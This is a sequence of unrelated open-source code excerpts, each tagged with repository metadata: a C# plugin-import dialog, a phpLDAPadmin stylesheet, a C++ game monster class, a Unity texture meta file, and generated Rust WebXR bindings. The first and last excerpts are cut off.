ref PipelinePluginCollection pluginCollection, ref ImportedPipelinePluginOverwrites pluginOverwrites) { if (pluginCollection == null) { throw new ArgumentNullException(nameof(pluginCollection)); } if (pluginOverwrites == null) { throw new ArgumentNullException(nameof(pluginOverwrites)); } PipelinePluginsLst.BeginUpdate(); try { // Populate the list with given plugins. foreach (PipelinePluginInfo pluginInfo in pluginCollection.Plugins) { PipelinePluginsLst.Items.Add(new PluginToImportDisplayInfo { PluginInfo = pluginInfo, Importable = true, }); } // Disable any plugin that would overwrite a global one set by the administrator. for (int i = 0; i < PipelinePluginsLst.Items.Count; ++i) { PluginToImportDisplayInfo newPlugin = (PluginToImportDisplayInfo) PipelinePluginsLst.Items[i]; if (pluginOverwrites.OverwriteInfos.TryGetValue(newPlugin.PluginInfo, out var overwriteInfo) && overwriteInfo.OldInfo.Global) { newPlugin.Importable = false; } } // Default is to want to select them all importable, compatible plugins. reselecting = true; try { for (int i = 0; i < PipelinePluginsLst.Items.Count; ++i) { PluginToImportDisplayInfo newPlugin = (PluginToImportDisplayInfo) PipelinePluginsLst.Items[i]; if (newPlugin.Importable && newPlugin.Compatible) { PipelinePluginsLst.SetSelected(i, true); } } } finally { reselecting = false; } // Update buttons to match the initial selection state. UpdateButtons(); } finally { PipelinePluginsLst.EndUpdate(); } // Show dialog to allow user to select plugins. bool res = ShowDialog(owner) == DialogResult.OK; if (res) { // Rebuild list of plugins in the collection. pluginCollection.Plugins.Clear(); foreach (var item in PipelinePluginsLst.SelectedItems) { pluginCollection.Plugins.Add(((PluginToImportDisplayInfo) item).PluginInfo); } // Also rebuild the list of overwrites to only include those we included in the collection. ImportedPipelinePluginOverwrites newOverwrites = new ImportedPipelinePluginOverwrites(); foreach (var pluginInfo in pluginCollection.Plugins) { if (pluginOverwrites.OverwriteInfos.TryGetValue(pluginInfo, out var overwriteInfo)) { newOverwrites.OverwriteInfos.Add(pluginInfo, overwriteInfo); } } pluginOverwrites = newOverwrites; } return res; } /// <summary> /// Updates buttons in the form to react to user selection. /// Call this whenever selection changes. /// </summary> private void UpdateButtons() { // OK button is only enabled if there are selected plugins. OKBtn.Enabled = PipelinePluginsLst.SelectedIndices.Count != 0; } /// <summary> /// Called to draw an item in our plugins list box. We have to do this by /// hand to be able to support disabled items. /// </summary> /// <param name="sender">Event sender.</param> /// <param name="e">Event arguments.</param> private void PipelinePluginsLst_DrawItem(object sender, DrawItemEventArgs e) { // The code to do this has been ripped off MSDN and adapted. // Open help and look at the code example for the DrawItemEventArgs class. if (listItemRegularBrush != null) { PluginToImportDisplayInfo pluginDisplayInfo = (PluginToImportDisplayInfo) PipelinePluginsLst.Items[e.Index]; Brush foreBrush = listItemRegularBrush; if (PipelinePluginsLst.SelectedIndices.Contains(e.Index)) { foreBrush = listItemSelectedBrush; } else if (!pluginDisplayInfo.Importable) { foreBrush = listItemDisabledBrush; } e.DrawBackground(); e.Graphics.DrawString(PipelinePluginsLst.Items[e.Index].ToString(), e.Font, foreBrush, e.Bounds, StringFormat.GenericDefault); e.DrawFocusRectangle(); } } /// <summary> /// Called when the selection changes in the list box. We need to prevent /// the user from selecting disabled plugins and warn him/her about /// incompatible plugins. /// </summary> /// <param name="sender">Event sender.</param> /// <param name="e">Event arguments.</param> private void PipelinePluginsLst_SelectedIndexChanged(object sender, EventArgs e) { // Watch for stack overflows. if (!reselecting) { reselecting = true; try { PipelinePluginsLst.BeginUpdate(); try { // Deselect any non-importable plugins and warn about any // non-compatible plugins. for (int i = 0; i < PipelinePluginsLst.Items.Count; ++i) { if (!((PluginToImportDisplayInfo) PipelinePluginsLst.Items[i]).Importable) { // If this is the first time user does this, warn him/her. if (!warnedAboutGlobalOverwrites && PipelinePluginsLst.SelectedIndices.Contains(i)) { MessageBox.Show(this, Resources.ImportPipelinePluginsForm_CantOverwriteGlobalMsg, Resources.ImportPipelinePluginsForm_MsgTitle, MessageBoxButtons.OK, MessageBoxIcon.Information); warnedAboutGlobalOverwrites = true; } PipelinePluginsLst.SetSelected(i, false); } if (!((PluginToImportDisplayInfo) PipelinePluginsLst.Items[i]).Compatible) { // If this is the first time user does this, warn him/her. if (!warnedAboutIncompatiblePlugins && PipelinePluginsLst.SelectedIndices.Contains(i)) { MessageBox.Show(this, Resources.ImportPipelinePluginsForm_IncompatiblePluginsMsg, Resources.ImportPipelinePluginsForm_MsgTitle, MessageBoxButtons.OK, MessageBoxIcon.Information); warnedAboutIncompatiblePlugins = true; } } } } finally { PipelinePluginsLst.EndUpdate(); } } finally { reselecting = false; } } // Update buttons to match the new selection. UpdateButtons(); } /// <summary> /// Called when the form is first loaded. We perform further initialization here. /// </summary> /// <param name="sender">Event sender.</param> /// <param name="e">Event arguments.</param> private void ImportPipelinePluginsForm_Load(object sender, EventArgs e) { // Create brushes from our list box properties. listItemRegularBrush = new SolidBrush(PipelinePluginsLst.ForeColor); listItemDisabledBrush = new SolidBrush(SystemColors.GrayText); listItemSelectedBrush = new SolidBrush(PipelinePluginsLst.BackColor); } /// <summary> /// Simple wrapper used to display pipeline plugin infos in the list. Holds /// extra info to know if plugins are importable or not. /// </summary> private sealed class PluginToImportDisplayInfo { /// <summary> /// Info about pipeline plugin to display. /// </summary> public PipelinePluginInfo PluginInfo { get; set; } /// <summary> /// Whether pipeline plugin can be safely imported or not. /// </summary> public bool Importable { get; set; } /// <summary> /// Whether pipeline plugin is compatible with this version of Path Copy Copy. /// An incompatible plugin is still <see cref="Importable"/>, but won't work /// in this version. /// </summary> public bool Compatible { get { return PluginInfo.Compatible; } } /// <summary> /// Returns a textual representation of this pipeline plugin info. /// </summary> /// <returns>Textual representation of <see cref="PluginInfo"/>.</returns> public override string ToString() { return PluginInfo?.ToString() ?? string.Empty; } } } }
{'repo_name': 'clechasseur/pathcopycopy', 'stars': '415', 'repo_language': 'C++', 'file_name': 'CopyToClipboardPathAction.h', 'mime_type': 'text/x-c++', 'hash': -49312318430435837, 'source_dataset': 'data'}
/* $Header$ */ /* Global Page */ table.page { font-weight: normal; color: #2E3436; font-family: "bitstream vera sans","luxi sans",verdana,geneva,arial,helvetica,sans-serif; background-color: #FFFFFF; font-size: 13px; empty-cells: hide; } /* Global Page - Defaults */ /* A HREF Links */ table.page a { color: #204A87; text-decoration: none; } table.page a:hover { text-decoration: none; } table.page a img { border: 0px; } /* Global Page - Logo & Title */ table.page tr.head { text-align: center; color: #FFFFFF; background-color: #3465A4; font-weight: bold; font-size: 11px; height: 25px; } table.page tr.head img.logo { vertical-align: middle; text-align: center; width: 100px; height: 60px; } table.page tr.pagehead { } table.page tr.pagehead td.imagetop { width: 100%; vertical-align: bottom; text-align: right; } /* Global Page - Control Line */ table.page tr.control td { border-top: 1px solid #BABDB6; border-bottom: 1px solid #BABDB6; } /* Global Page - Control Line Menu Items */ table.page table.control { table-layout: fixed; width: 100%; } table.page table.control td { border-top: 0px; border-bottom: 0px; padding: 0px; padding-top: 5px; text-align: left; vertical-align: top; font-size: 11px; } table.page table.control img { width: 24px; height: 24px; } table.page table.control a { color: #2E3436; } table.page table.control a:hover { text-decoration: none; background-color: #EEEEEC; color: #CC0000; } table.page table.control td.spacer { width: 20%; } table.page table.control td.logo { text-align: right; width: 10%; } table.page table.control td.logo img.logo { vertical-align: middle; text-align: right; width: 100px; height: 60px; } /* Global Page - LDAP Tree */ table.page td.tree { border-right: 1px solid #BABDB6; vertical-align: top; background-color: #FFFFFF; width: 10%; } /* Global Page - Main Body */ table.page td.body { vertical-align: top; width: 100%; background-color: #FFFFFF; } /* Global Page - Main Body System Message */ table.page table.sysmsg { border-bottom: 2px solid #BABDB6; width: 100%; } table.page table.sysmsg td.head { font-size: small; text-align: left; font-weight: bold; } table.page table.sysmsg td.body { font-weight: normal; } table.page table.sysmsg td.icon { text-align: center; vertical-align: top; } /* Global Page - Main Body */ table.page table.body { font-weight: normal; background-color: #FFFFFF; width: 100%; } table.page table.body h3.title { text-align: center; margin: 0px; padding: 10px; color: #FFFFFF; background-color: #3465A4; border: 1px solid #EEEEEC; font-weight: normal; font-size: 150%; } table.page table.body h3.subtitle { text-align: center; margin: 0px; margin-bottom: 15px; font-size: 75%; color: #FFFFFF; border-bottom: 1px solid #EEEEEC; border-left: 1px solid #EEEEEC; border-right: 1px solid #EEEEEC; background: #3465A4; padding: 4px; font-weight: normal; } table.page table.body td.spacer { border-top: 2px solid #BABDB6; padding: 0px; font-size: 5px; } table.page table.body td.head { font-weight: bold; } table.page table.body td.foot { font-size: small; border-top: 1px solid #BABDB6; border-bottom: 1px solid #BABDB6; } /* Global Page Footer */ table.page tr.foot td { border-top: 1px solid #BABDB6; font-weight: bold; font-size: 12px; text-align: right; } /* Global Page - Other Layouts */ /* Server Select */ table.page table.server_select { font-weight: bold; font-size: 13px; color: #2E3436; } /* Individual table layouts */ /* LDAP Tree */ table.tree { } table.tree tr.server td.icon { vertical-align: top; } table.tree tr.server td.name { padding-right: 10px; vertical-align: top; } table.tree tr.server td { padding-top: 5px; font-size: 18px; text-align: left; padding-right: 0px; white-space: nowrap; } table.tree td { white-space: nowrap; } table.tree td.server_links { vertical-align: top; text-align: center; padding-top: 0px; padding-bottom: 0px; padding-left: 3px; padding-right: 3px; } table.tree td.server_links img { height: 22px; width: 22px; } table.tree td.server_links a { color: #2E3436; text-decoration: none; font-size: 11px; } table.tree td.server_links a:hover { text-decoration: none; background-color: #EEEEEC; color: #CC0000; } table.tree tr.option td.expander { text-align: center; width: 22px; max-width: 22px; min-width: 22px; white-space: nowrap; } table.tree tr.option td.icon { text-align: center; width: 22px; max-width: 22px; min-width: 22px; white-space: nowrap; } table.tree td.rdn a { font-size: 13px; color: #2E3436; } table.tree td.rdn a:hover { font-size: 13px; color: #CC0000; background-color: #EEEEEC; } table.tree td.rdn span.count { font-size: 13px; color: #2E3436; } table.tree td.links a { color: #204A87; text-align: center; } table.tree td.link a { font-size: 13px; color: #2E3436; } table.tree td.link a:hover { font-size: 13px; color: #CC0000; background-color: #EEEEEC; text-decoration: none; } table.tree td.rdn a:hover { font-size: 13px; color: #CC0000; background-color: #EEEEEC; text-decoration: none; } table.tree td.links a:hover { text-decoration: none; color: #204A87; } table.tree td.links a img { width: 22px; height: 22px; } table.tree td.blank { font-size: 1px; } table.tree td.spacer { width: 22px; } table.tree td.logged_in { font-size: 10px; white-space: nowrap; } table.tree td.logged_in a { font-size: 11px; } table.tree td.logged_in a:hover { color: #CC0000; background-color: #EEEEEC; text-decoration: none; } /* Tree Global Defaults */ table.tree tr td { padding: 0px; } table.tree a { text-decoration: none; color: #2E3436; } table.tree a:hover { text-decoration: underline; color: #204A87; } /* Tree */ table.tree .treemenudiv { display: block; white-space: nowrap; padding-top: 1px; padding-bottom: 1px; } table.tree .phplmnormal { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #000000; text-decoration: none; } table.tree a.phplmnormal:hover { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #000000; background-color: #fff0c0; text-decoration: none; } table.tree a.phplm:link { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #000000; text-decoration: none; } table.tree a.phplm:visited { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #000000; text-decoration: none; } table.tree a.phplm:hover { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #841212; background-color: #fff0c0; text-decoration: none; } table.tree a.phplm:active { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #ff0000; text-decoration: none; } table.tree a.phplmselected:link { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #dd0000; background-color: #ffdd76; text-decoration: none; } table.tree a.phplmselected:visited { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #dd0000; background-color: #ffdd76; text-decoration: none; } table.tree a.phplmselected:hover { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #841212; background-color: #fff0c0; text-decoration: none; } table.tree a.phplmselected:active { font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif; font-size: 13px; color: #ff0000; text-decoration: none; } /* Standard Form */ table.forminput { background-color: #EEEEEC; padding: 10px; border: 1px solid #BABDB6; } table.forminput td.title { text-align: center; font-weight: bold; } table.forminput td.subtitle { text-align: center; font-weight: normal; font-size: small; } table.forminput tr td.heading { font-weight: bold; } table.forminput td.small { font-size: 80%; } table.forminput td.top { vertical-align: top; } table.forminput input.val { width: 350px; border: 1px solid #BABDB6; } table.forminput input.roval { width: 350px; border: none; } table.forminput td.icon { width: 16px; text-align: center; } table.forminput td.icon img { border: 0px; } table.forminput td.label { text-align: left; font-size: 13px; } /* Menu on top of entry form */ table.menu { font-size: 14px; } table.menu td.icon { width: 16px; text-align: center; } /* Edit DN */ div.add_value { font-size: 12px; margin: 0px; padding: 0px; } /* Edit Entry */ table.entry { border-collapse: collapse; border-spacing: 0px; empty-cells: show; } table.entry input { margin: 1px; } table.entry input.value { font-size: 14px; width: 350px; background-color: #FFFFFF; } table.entry div.helper { text-align: left; white-space: nowrap; background-color: #FFFFFF; font-size: 14px; font-weight: normal; color: #888; } table.entry input.roval { font-size: 14px; width: 350px; background-color: #FFFFFF; border: none; } table.entry textarea.value { font-size: 14px; width: 350px; background-color: #FFFFFF; } table.entry textarea.roval { font-size: 14px; width: 350px; background-color: #FFFFFF; border: none; } table.entry tr td { padding: 4px; padding-right: 0px; } table.entry tr td.heading { border-top: 3px solid #D3D7CF; font-weight: bold; } table.entry tr td.note { text-align: right; background-color: #EEEEEC; } table.entry tr td.title { background-color: #EEEEEC; vertical-align: top; font-weight: bold; } table.entry tr td.title a { text-decoration: none; color: #2E3436; } table.entry tr td.title a:hover { text-decoration: underline; color: #204A87; } table.entry tr td.value { text-align: left; vertical-align: middle; padding-bottom: 10px; padding-left: 50px; } /** When an attr is updated, it is highlighted to indicate such */ table.entry tr.updated td.title { border-top: 1px dashed #BABDB6; border-left: 1px dashed #BABDB6; background-color: #888A85; } table.entry tr.updated td.note { border-top: 1px dashed #BABDB6; border-right: 1px dashed #BABDB6; background-color: #888A85; } /** An extra row that sits at the bottom of recently modified attrs to encase them in dashes */ table.entry tr.updated td.bottom { border-top: 1px dashed #BABDB6; } /** Formatting for the value cell when it is the attribute that has been recently modified */ table.entry tr.updated td.value { border-left: 1px dashed #BABDB6; border-right: 1px dashed #BABDB6; } /* Need to prevent sub-tables (like the one in which jpegPhotos are displayed) * from drawing borders as well. */ table.entry tr.updated td table td { border: 0px; } table.entry tr.noinput { background: #EEEEEC; } span.hint { font-size: small; font-weight: normal; color: #888; } /* Edit DN - EntryWriter2 */ table.entry tr.spacer { background-color: #D3D7CF; } table.entry tr td.ew2_icon { vertical-align: top; } table.entry tr td.ew2_attr { vertical-align: top; text-align: right; font-size: 75%; background-color: #FFFFFF; font-weight: bold; } table.entry tr td.ew2_attr a { text-decoration: none; color: #2E3436; } table.entry tr td.ew2_attr a:hover { text-decoration: underline; color: #204A87; } table.entry tr td.ew2_val { text-align: left; vertical-align: top; padding-bottom: 10px; padding-left: 50px; } table.entry tr.updated td.ew2_attr { text-align: right; font-size: 75%; border-top: 1px dashed green; border-left: 1px dashed green; border-bottom: 1px dashed green; background-color: #ded; } table.entry tr.updated td.ew2_val { border-top: 1px dashed green; border-left: 1px dashed green; border-right: 1px dashed green; border-bottom: 1px dashed green; } /* Login Box */ #login { background: url('../../images/tango/ldap-uid.png') no-repeat 0 1px; background-color: #FFFFFF; padding-left: 17px; } #login:focus { background-color: #EEEEEC; } #login:disabled { background-color: #D3D7CF; } #password { background: url('../../images/tango/key.png') no-repeat 0 1px; background-color: #FFFFFF; padding-left: 17px; } #password:focus { background-color: #EEEEEC; } #password:disabled { background-color: #D3D7CF; } #generic { background-color: #FFFFFF; padding-left: 17px; } #generic:focus { background-color: #EEEEEC; } #generic:disabled { background-color: #D3D7CF; } /* After input results */ div.execution_time { font-size: 75%; font-weight: normal; text-align: center; } table.result { width: 100%; vertical-align: top; empty-cells: show; border: 1px solid #BABDB6; border-spacing: 0px; background-color: #EEEEEC; } table.result tr.heading { vertical-align: top; } table.result tr.list_title { background-color: #FFFFFF; } table.result tr.list_title td.icon { text-align: center; vertical-align: top; } table.result tr.list_item { background-color: #FFFFFF; } table.result tr.list_item td.blank { width: 25px; } table.result tr.list_item td.heading { vertical-align: top; color: gray; width: 10%; font-size: 12px; } table.result tr.list_item td.value { color: #2E3436; font-size: 12px; } table.result_table { border: 1px solid #BABDB6; border-collapse: collapse; empty-cells: show; } table.result_table td { vertical-align: top; border: 1px solid #BABDB6; padding: 4px; } table.result_table th { border: 1px solid #BABDB6; padding: 10px; padding-left: 20px; padding-right: 20px; } table.result_table tr.highlight { background-color: #FCE94F; } table.result_table tr.highlight td { border: 1px solid #BABDB6; font-weight: bold; padding-top: 5px; padding-bottom: 5px; padding-left: 10px; padding-right: 10px; } table.result_table td.heading { color: #FFFFFF; background-color: #3465A4; font-size: 15px; } table.result_table td.value { color: #2E3436; background-color: #EEEEEC; } table.result_table tr.heading { color: #FFFFFF; background-color: #3465A4; font-size: 15px; } table.result_table tr.heading a { color: #FFFFFF; font-size: 20px; } table.result_table tr.heading td { border: 1px solid #BABDB6; font-weight: normal; padding-top: 5px; padding-bottom: 5px; padding-left: 10px; padding-right: 10px; } table.result_table tr.even { background-color: #EEEEEC; } table.result_table tr.even td { border: 1px solid #BABDB6; font-weight: normal; padding-top: 5px; padding-bottom: 5px; padding-left: 10px; padding-right: 10px; } table.result_table tr.even td.title { font-weight: bold; } table.result_table tr.odd { background-color: #EEEEEC; } table.result_table tr.odd td { border: 1px solid #BABDB6; font-weight: normal; padding-top: 5px; padding-bottom: 5px; padding-left: 10px; padding-right: 10px; } table.result_table tr.odd td.title { font-weight: bold; } table.result_table ul.list { margin: 5px; margin-left: 0px; padding-left: 20px; } table.result_table ul.list li { margin-left: 0px; padding-left: 0px; } table.result_table ul.list li small { font-size: 75%; color: #707070; } table.result_table ul.list li small a { color: #7070C0; } /* Error Dialog Box */ table.error { width: 500px; border: 1px solid #AA0000; background-color: #FFF0F0; } table.error th { background-color: #AA0000; border: 0px; color: #FFFFFF; font-size: 14px; font-weight: bold; text-align: center; vertical-align: middle; width: 100%; } table.error th.img { vertical-align: middle; text-align: center; } table.error td { border: 0px; background-color: #FFF0F0; padding: 2px; text-align: left; vertical-align: top; } /* Popup Window */ div.popup h3.subtitle { text-align: center; margin: 0px; margin-bottom: 15px; color: #FFFFFF; border-bottom: 1px solid #2E3436; border-left: 1px solid #2E3436; border-right: 1px solid #2E3436; background: #3465A4; padding: 4px; font-weight: normal; } span.good { color: green; } span.bad { color: red; }
{'repo_name': 'leenooks/phpLDAPadmin', 'stars': '211', 'repo_language': 'PHP', 'file_name': 'ca-bundle.crt', 'mime_type': 'text/plain', 'hash': 8318648746092113700, 'source_dataset': 'data'}
#include "Scorpion.h" USING_NS_CC; Scorpion* Scorpion::createMonster(std::vector<Point> points) { auto monster = new Scorpion(); if (monster && monster->init()) { monster->setPointsVector(points); monster->setMaxHp(400); monster->setCurrHp(400); monster->setMoney(100); monster->setRunSpeed(40); monster->setArmor(20); monster->setForce(20); monster->setAttackBySoldier(true); monster->runNextPoint(); monster->autorelease(); return monster; } CC_SAFE_DELETE(monster); return NULL; } bool Scorpion::init() { if (!Sprite::init()) { return false; } setMonsterType(SCORPION); setName("Scorpion_"); baseSprite = Sprite::createWithSpriteFrameName("scorpion_0001.png"); addChild(baseSprite); createAndSetHpBar(); blood = Sprite::createWithSpriteFrameName("fx_blood_splat_green_0001.png"); blood->setPosition(Point(baseSprite->getContentSize().width/2,baseSprite->getContentSize().height/2)); baseSprite->addChild(blood); blood->setVisible(false); lastState = stateNone; scheduleUpdate(); setListener(); return true; }
{'repo_name': 'wuhaoyu1990/KingdomRush', 'stars': '136', 'repo_language': 'C++', 'file_name': 'UpdatePanleLayer.cpp', 'mime_type': 'text/x-c', 'hash': -545563013727078611, 'source_dataset': 'data'}
fileFormatVersion: 2 guid: b9348746468194f838b46ce3e4c3aaf9 TextureImporter: fileIDToRecycleName: {} serializedVersion: 2 mipmaps: mipMapMode: 0 enableMipMap: 0 linearTexture: 0 correctGamma: 0 fadeOut: 0 borderMipMap: 0 mipMapFadeDistanceStart: 1 mipMapFadeDistanceEnd: 3 bumpmap: convertToNormalMap: 0 externalNormalMap: 0 heightScale: .25 normalMapFilter: 0 isReadable: 0 grayScaleToAlpha: 0 generateCubemap: 0 seamlessCubemap: 0 textureFormat: -3 maxTextureSize: 1024 textureSettings: filterMode: 0 aniso: -1 mipBias: -1 wrapMode: -1 nPOTScale: 0 lightmap: 0 compressionQuality: 50 spriteMode: 0 spriteExtrude: 1 spriteMeshType: 1 alignment: 0 spritePivot: {x: .5, y: .5} spriteBorder: {x: 0, y: 0, z: 0, w: 0} spritePixelsToUnits: 100 alphaIsTransparency: 0 textureType: 5 buildTargetSettings: [] spriteSheet: sprites: [] spritePackingTag: userData:
{'repo_name': 'mikelovesrobots/mmmm', 'stars': '601', 'repo_language': 'None', 'file_name': 'scene_park_texture0.mat.meta', 'mime_type': 'text/plain', 'hash': -8607116685396939903, 'source_dataset': 'data'}
#![allow(unused_imports)] use super::*; use wasm_bindgen::prelude::*; #[cfg(web_sys_unstable_apis)] #[wasm_bindgen] extern "C" { # [wasm_bindgen (extends = :: js_sys :: Object , js_name = XRWebGLLayer , typescript_type = "XRWebGLLayer")] #[derive(Debug, Clone, PartialEq, Eq)] #[doc = "The `XrWebGlLayer` class."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub type XrWebGlLayer; #[cfg(web_sys_unstable_apis)] # [wasm_bindgen (structural , method , getter , js_class = "XRWebGLLayer" , js_name = antialias)] #[doc = "Getter for the `antialias` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/antialias)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn antialias(this: &XrWebGlLayer) -> bool; #[cfg(web_sys_unstable_apis)] # [wasm_bindgen (structural , method , getter , js_class = "XRWebGLLayer" , js_name = ignoreDepthValues)] #[doc = "Getter for the `ignoreDepthValues` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/ignoreDepthValues)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn ignore_depth_values(this: &XrWebGlLayer) -> bool; #[cfg(web_sys_unstable_apis)] #[cfg(feature = "WebGlFramebuffer")] # [wasm_bindgen (structural , method , getter , js_class = "XRWebGLLayer" , js_name = framebuffer)] #[doc = "Getter for the `framebuffer` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/framebuffer)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `WebGlFramebuffer`, `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn framebuffer(this: &XrWebGlLayer) -> WebGlFramebuffer; #[cfg(web_sys_unstable_apis)] # [wasm_bindgen (structural , method , getter , js_class = "XRWebGLLayer" , js_name = framebufferWidth)] #[doc = "Getter for the `framebufferWidth` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/framebufferWidth)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn framebuffer_width(this: &XrWebGlLayer) -> u32; #[cfg(web_sys_unstable_apis)] # [wasm_bindgen (structural , method , getter , js_class = "XRWebGLLayer" , js_name = framebufferHeight)] #[doc = "Getter for the `framebufferHeight` field of this object."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/framebufferHeight)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn framebuffer_height(this: &XrWebGlLayer) -> u32; #[cfg(web_sys_unstable_apis)] #[cfg(all(feature = "WebGlRenderingContext", feature = "XrSession",))] #[wasm_bindgen(catch, constructor, js_class = "XRWebGLLayer")] #[doc = "The `new XrWebGlLayer(..)` constructor, creating a new instance of `XrWebGlLayer`."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/XRWebGLLayer)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `WebGlRenderingContext`, `XrSession`, `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn new_with_web_gl_rendering_context( session: &XrSession, context: &WebGlRenderingContext, ) -> Result<XrWebGlLayer, JsValue>; #[cfg(web_sys_unstable_apis)] #[cfg(all(feature = "WebGl2RenderingContext", feature = "XrSession",))] #[wasm_bindgen(catch, constructor, js_class = "XRWebGLLayer")] #[doc = "The `new XrWebGlLayer(..)` constructor, creating a new instance of `XrWebGlLayer`."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/XRWebGLLayer)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `WebGl2RenderingContext`, `XrSession`, `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn new_with_web_gl2_rendering_context( session: &XrSession, context: &WebGl2RenderingContext, ) -> Result<XrWebGlLayer, JsValue>; #[cfg(web_sys_unstable_apis)] #[cfg(all( feature = "WebGlRenderingContext", feature = "XrSession", feature = "XrWebGlLayerInit", ))] #[wasm_bindgen(catch, constructor, js_class = "XRWebGLLayer")] #[doc = "The `new XrWebGlLayer(..)` constructor, creating a new instance of `XrWebGlLayer`."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/XRWebGLLayer)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `WebGlRenderingContext`, `XrSession`, `XrWebGlLayer`, `XrWebGlLayerInit`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn new_with_web_gl_rendering_context_and_layer_init( session: &XrSession, context: &WebGlRenderingContext, layer_init: &XrWebGlLayerInit, ) -> Result<XrWebGlLayer, JsValue>; #[cfg(web_sys_unstable_apis)] #[cfg(all( feature = "WebGl2RenderingContext", feature = "XrSession", feature = "XrWebGlLayerInit", ))] #[wasm_bindgen(catch, constructor, js_class = "XRWebGLLayer")] #[doc = "The `new XrWebGlLayer(..)` constructor, creating a new instance of `XrWebGlLayer`."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/XRWebGLLayer)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `WebGl2RenderingContext`, `XrSession`, `XrWebGlLayer`, `XrWebGlLayerInit`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn new_with_web_gl2_rendering_context_and_layer_init( session: &XrSession, context: &WebGl2RenderingContext, layer_init: &XrWebGlLayerInit, ) -> Result<XrWebGlLayer, JsValue>; #[cfg(web_sys_unstable_apis)] #[cfg(feature = "XrSession")] # [wasm_bindgen (static_method_of = XrWebGlLayer , js_class = "XRWebGLLayer" , js_name = getNativeFramebufferScaleFactor)] #[doc = "The `getNativeFramebufferScaleFactor()` 